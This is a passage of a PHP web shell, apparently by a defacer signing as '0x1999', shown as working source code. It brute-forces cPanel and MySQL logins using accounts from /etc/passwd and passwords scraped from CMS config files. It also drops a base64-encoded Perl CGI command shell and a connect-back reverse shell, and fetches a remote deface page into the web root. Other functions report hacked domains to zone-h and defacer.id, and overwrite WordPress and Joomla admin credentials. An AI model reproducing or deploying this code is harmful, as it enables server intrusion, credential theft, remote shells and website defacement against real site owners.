  827.       foreach($passcp as $pcp) {
  828.         if(@mysql_connect('localhost', $ucp, $pcp)) {
  829.           if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  830.           } else {
  831.             $_SESSION[$ucp] = "1";
  832.             $_SESSION[$pcp] = "1";
  833.             $i++;
  834.             echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  835.           }
  836.         }
  837.       }
  838.       session_unset();
  839.       session_destroy();
  840.     }
  841.     if($i == 0) {
  842.     } else {
  843.       echo "<br>Nemu ".$i." Cpanel by <font color=lime>0x1999</font>";
  844.     }
  845.   } else {
  846.     echo "<center>
  847.    <form method='post'>
  848.    USER: <br>
  849.    <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  850.     $_usercp = fopen("/etc/passwd","r");
  851.     while($getu = fgets($_usercp)) {
  852.       if($getu == '' || !$_usercp) {
  853.         echo "<font color=red>Can't read /etc/passwd</font>";
  854.       } else {
  855.         preg_match_all("/(.*?):x:/", $getu, $u);
  856.         foreach($u[1] as $user_cp) {
  857.             if(is_dir("/home/$user_cp/public_html")) {
  858.               echo "$user_cp\n";
  859.           }
  860.         }
  861.       }
  862.     }
  863.     echo "</textarea><br>
  864.    PASS: <br>
  865.    <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  866.     function cp_pass($dir) {
  867.       $pass = "";
  868.       $dira = scandir($dir);
  869.       foreach($dira as $dirb) {
  870.         if(!is_file("$dir/$dirb")) continue;
  871.         $ambil = file_get_contents("$dir/$dirb");
  872.         if(preg_match("/WordPress/", $ambil)) {
  873.           $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  874.         } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  875.           $pass .= ambilkata($ambil,"password = '","'")."\n";
  876.         }
  877.  
  878.          elseif(preg_match("/konekDB/", $ambil)) {
  879.           $pass .= ambilkata($ambil,"$password = '","'")."\n";
  880.         }
  881.  
  882.          elseif(preg_match("/cmsmember/", $ambil)) {
  883.           $pass .= ambilkata($ambil,'dbpasswd = "','"')."\n";
  884.         } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  885.           $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  886.         } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  887.           $pass .= ambilkata($ambil,'password = "','"')."\n";
  888.         } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  889.           $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  890.         } elseif(preg_match("/client/", $ambil)) {
  891.           preg_match("/password=(.*)/", $ambil, $pass1);
  892.           if(preg_match('/"/', $pass1[1])) {
  893.             $pass1[1] = str_replace('"', "", $pass1[1]);
  894.             $pass .= $pass1[1]."\n";
  895.           }
  896.         } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  897.           $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  898.         }
  899.       }
  900.       echo $pass;
  901.     }
  902.     $cp_pass = cp_pass($dir);
  903.     echo $cp_pass;
  904.     echo "</textarea><br>
  905.    <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  906.    </form>
  907.    <br></center>";
  908.   }
  909. }elseif(isset($_GET['do']) && ($_GET['do'] == 'cgi')) {
  910.     echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1  Bypass Exploit]==--+ </font></b><br><br>";
  911.  mkdir('cgitelnet1', 0755);
  912.     chdir('cgitelnet1');      
  913.         $kokdosya = ".htaccess";
  914.         $dosya_adi = "$kokdosya";
  915.         $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  916.         $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  917.  
  918. AddType application/x-httpd-cgi .cin
  919.  
  920. AddHandler cgi-script .cin
  921. AddHandler cgi-script .cin";    
  922.         fwrite ( $dosya , $metin ) ;
  923.         fclose ($dosya);
  924. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBSZWNvZGVkIEJ5IDB4MTk5OQoKJFdpbk5UID0gMDsKJE5UQ21kU2VwID0gIiYiOwokVW5peENtZFNlcCA9ICI7IjsKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBBMEEwQSIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT48YnI+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1wPiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJCSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwoKJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7CiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQo=';
  925.  
  926. $file = fopen("izo.cin" ,"w+");
  927. $write = fwrite ($file ,base64_decode($cgishellizocin));
  928. fclose($file);
  929.     chmod("izo.cin",0755);
  930. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  931. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  932. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  933. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  934. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  935. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  936. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  937. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  938. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  939. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  940. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  941. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  942. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  943. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  944. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  945. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  946. YXRhY2hlZFxuXG4iOw==';
  947.  
  948. $file = fopen("dc.pl" ,"w+");
  949. $write = fwrite ($file ,base64_decode($netcatshell));
  950. fclose($file);
  951.     chmod("dc.pl",0755);
  952.    echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe>
  953.  
  954.  
  955. </div>";
  956.    
  957.    
  958. }
  959.  
  960. elseif(isset($_GET['do']) && ($_GET['do'] == 'deleteme')) {
  961.     unlink(__FILE__);
  962.     echo "<script>window.location='./';</script>";
  963.     }
  964.     elseif(isset($_GET['do']) && ($_GET['do'] == 'mirror')) {
  965.     if($_POST['arsip'] == '1') {
  966.         $domain = explode("\r\n", $_POST['url']);
  967.         $nick =  $_POST['nick'];
  968.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  969.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  970.         function zoneh($url,$nick) {
  971.             $ch = curl_init("http://www.zone-h.com/notify/single");
  972.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  973.                   curl_setopt($ch, CURLOPT_POST, true);
  974.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  975.             return curl_exec($ch);
  976.                   curl_close($ch);
  977.         }
  978.         foreach($domain as $url) {
  979.             $zoneh = zoneh($url,$nick);
  980.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  981.                 echo "$url -> <font color=lime>OK</font><br>";
  982.             } else {
  983.                 echo "$url -> <font color=red>ERROR</font><br>";
  984.             }
  985.         }
  986.     } if($_POST['arsip'] == '2') {
  987.         $site = explode("\r\n", $_POST['sites']);
  988. $hekel = $_POST['nick'];
  989. $tim = $_POST['tim'];
  990. foreach($site as $sites) {
  991. $zh = $sites;
  992. $form_url = "https://www.defacer.id/notify";
  993. $data_to_post = array();
  994. $data_to_post['attacker'] = "$hekel";
  995. $data_to_post['team'] = "$tim";
  996. $data_to_post['poc'] = 'SQL Injection';
  997. $data_to_post['url'] = "$zh";
  998. $curl = curl_init();
  999. curl_setopt($curl,CURLOPT_URL, $form_url);
  1000. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  1001. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  1002. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  1003. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1004. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  1005. $result = curl_exec($curl);
  1006. echo $result;
  1007. curl_close($curl);
  1008. echo "<br>";
  1009. }
  1010.  
  1011.     }
  1012.     else {
  1013.         echo "
  1014.         <script type='text/javascript'>//<![CDATA[
  1015. window.onload=function(){
  1016. document.getElementById('arsip').addEventListener('change', function () {
  1017.     var style = this.value == 2 ? 'block' : 'none';
  1018.    document.getElementById('defacerid').style.display = style;
  1019. });
  1020. }//]]>
  1021.  
  1022. </script><center>
  1023.         <form method='post'>
  1024.        <select class='select' id='arsip' name='arsip' style='width: 450px;' height='10'>
  1025.        <option value='1'>Zone-h</option>
  1026.        <option value='2'>Defacer ID</option></select><br>
  1027.         <u>Defacer</u>: <br>
  1028.        <input type='text' name='nick' size='50' value='0x1999'><br>
  1029. <div id='defacerid' style='display: none;'><br>
  1030. <u>Team</u>:<br>
  1031.        <input type='text' name='tim' size='50' value='Indonesian Code Party'><br><br>
  1032.         </div>
  1033.        <u>Domains</u>: <br>
  1034.        <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1035.        <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1036.        </form>";
  1037.     }
  1038.     echo "</center>";
  1039. }
  1040.  
  1041. elseif(isset($_GET['do']) && ($_GET['do'] == 'hek')) {
  1042.     $url="http://" . $_SERVER['SERVER_NAME']."/0x.htm";
  1043. $hh=$_SERVER['DOCUMENT_ROOT']."/9x.htm";
  1044. @file_put_contents($hh ,file_get_contents("http://riza-andriani.me/jatim.txt"));
  1045. function zoneh($url,$nick) {
  1046.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1047.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1048.                   curl_setopt($ch, CURLOPT_POST, true);
  1049.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1050.             return curl_exec($ch);
  1051.                   curl_close($ch);
  1052.         }
  1053.             $zoneh = zoneh($url,"0x1999");
  1054.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1055.                 echo "$url -> <font color=lime>OK</font><br>";
  1056.             } else {
  1057.                 echo "$url -> <font color=red>ERROR</font><br>";
  1058.             }
  1059. }
  1060. elseif(isset($_GET['do']) && ($_GET['do'] == 'crp')) {
  1061.   if($_POST['gass']) {
  1062.     echo "<center><h1>Config Reset Password</h1>
  1063.    <form method='post'>
  1064.    Link Config: <br>
  1065.    <textarea name='link' style='width: 450px; height:250px;'>";
  1066.     UrlLoop($_POST['linkconf'],$_POST['tipe']);
  1067.     echo"</textarea><br>
  1068.    <input type='submit' style='width: 450px;' name='ngentuconfig' value='Hajar!!'>
  1069.    </form></center>";
  1070.   }else {
  1071.     echo '<center>
  1072.    <h1>Config Reset Password</h1>
  1073.    <form method="post">
  1074.    Select Type :<br><select class="select" name="tipe"  style="width: 450px;" height="10">
  1075.    <option value="Wordpress">Wordpress</option>
  1076.    <option value="Joomla">Joomla</option>
  1077.    <option value="Lokomedia">Lokomedia</option>
  1078.    <option value="Magento">Magento</option>
  1079.    <option value="OpenCart">OpenCart</option>
  1080.    <option value="txt">All Config</option>
  1081.    </select><br>
  1082.    Link Config :<br>
  1083.    <input type="text" name="linkconf" height="10" style="width: 450px;" placeholder="http://0xdark.com/cox_symconf/"><br>
  1084.    <input type="submit" style="width: 450px;" name="gass" value="Hajar!!">
  1085.    </form></center>';
  1086.   }
  1087.   if($_POST['ngentuconfig']) {
  1088.     echo "<center><table style='width:100%'>
  1089.  <tr>
  1090.    <th>CMS</th>
  1091.    <th>User</th>
  1092.    <th>Password</th>
  1093.    <th>Login</th>
  1094.    <th>Config</th>
  1095.  </tr>";
  1096.     $user = '0x1999';
  1097.     $pass = "0x1999";
  1098.     $passx = md5($pass);
  1099.     $link = explode("\r\n", $_POST['link']);
  1100.  
  1101.     foreach($link as $file_conf) {
  1102.       $config = file_get_contents($file_conf);
  1103.       if(preg_match("/JConfig|joomla/",$config)) {
  1104.         $dbhost = ambilkata($config,"host = '","'");
  1105.         $dbuser = ambilkata($config,"user = '","'");
  1106.         $dbpass = ambilkata($config,"password = '","'");
  1107.         $dbname = ambilkata($config,"db = '","'");
  1108.         $dbprefix = ambilkata($config,"dbprefix = '","'");
  1109.         $prefix = $dbprefix."users";
  1110.         $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1111.         $db = mysql_select_db($dbname);
  1112.         $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1113.         $result = mysql_fetch_array($q);
  1114.         $id = $result['id'];
  1115.         $site = ambilkata($config,"sitename = '","'");
  1116.         $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
  1117.         echo "<tr><td>Joomla</td>";
  1118.         //echo "[ ".$file_conf." ]<br>";
  1119.         //echo "CMS => Joomla<br>";
  1120.         if($site == '') {
  1121.           $url_target = "<font color=red>ERROR</font><br>";
  1122.         } else {
  1123.           $url_target=$site;
  1124.         }
  1125.         if(!$update) {
  1126.         echo "<td><font color=red>".mysql_error()."</font></td><td>Update Error</td><td>!</td><td>".$file_conf."</td>";
  1127.         }
  1128.         elseif(!$conn){
  1129.         echo "<td><font color=red>".mysql_error()."</font></td><td>Connection Error</td><td>!</td><td>".$file_conf."</td>";
  1130.         }
  1131.         elseif (!$db){
  1132.         echo "<td><font color=red>".mysql_error()."</font></td><td>DB Error</td><td>!</td><td>".$file_conf."</td>";
  1133.         }
  1134.          else {
  1135.           echo "<td><font color=lime>$user</font></td>";
  1136.           echo "<td><font color=lime>$pass</font></td>";
  1137.           echo "<td><a href=\"https://www.google.com/search?source=hp&q='$url_target'\" target=\"_BLANK\">$url_target</a></td>";
  1138.           echo "<td>".$file_conf."</td>";
  1139.         }
  1140.         echo "</tr>";
  1141.         mysql_close($conn);
  1142.       } elseif(preg_match("/WordPress/",$config)) {
  1143.         $dbhost = ambilkata($config,"DB_HOST', '","'");
  1144.         $dbuser = ambilkata($config,"DB_USER', '","'");
  1145.         $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1146.         $dbname = ambilkata($config,"DB_NAME', '","'");
  1147.         $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1148.         $prefix = $dbprefix."users";
  1149.         $option = $dbprefix."options";
  1150.         $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1151.         $db = mysql_select_db($dbname);
  1152.         $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1153.         $result = mysql_fetch_array($q);
  1154.         $id = $result[ID];
  1155.         $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1156.         $result2 = mysql_fetch_array($q2);
  1157.         $target = $result2[option_value];
  1158.         if($target == '') {
  1159.           $url_target = "<font color=red>DOMAIN ERROR</font>";
  1160.         } else {
  1161.           $url_target = "<a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a>";
  1162.         }
  1163.         $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE id='$id'");
  1164.         echo "<tr><td>Wordpress</td>";
  1165.         //echo "[ ".$file_conf." ]<br>";
  1166.         //echo $url_target;
  1167.         if(!$update OR !$conn OR !$db) {
  1168.           echo "<td><font color=red>".mysql_error()."</font></td><td>!</td><td>!</td><td>".$file_conf."</td>";
  1169.         } else {
  1170.           echo "<td><font color=lime>$user</font></td>";
  1171.           echo "<td><font color=lime>$pass</font></td>";
  1172.           echo "<td>$url_target</td>";
  1173.           echo "<td>".$file_conf."</td>";
  1174.         }
  1175.         echo "</tr>";
  1176.         mysql_close($conn);
  1177.       } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1178.         $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1179.         $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1180.         $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1181.         $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
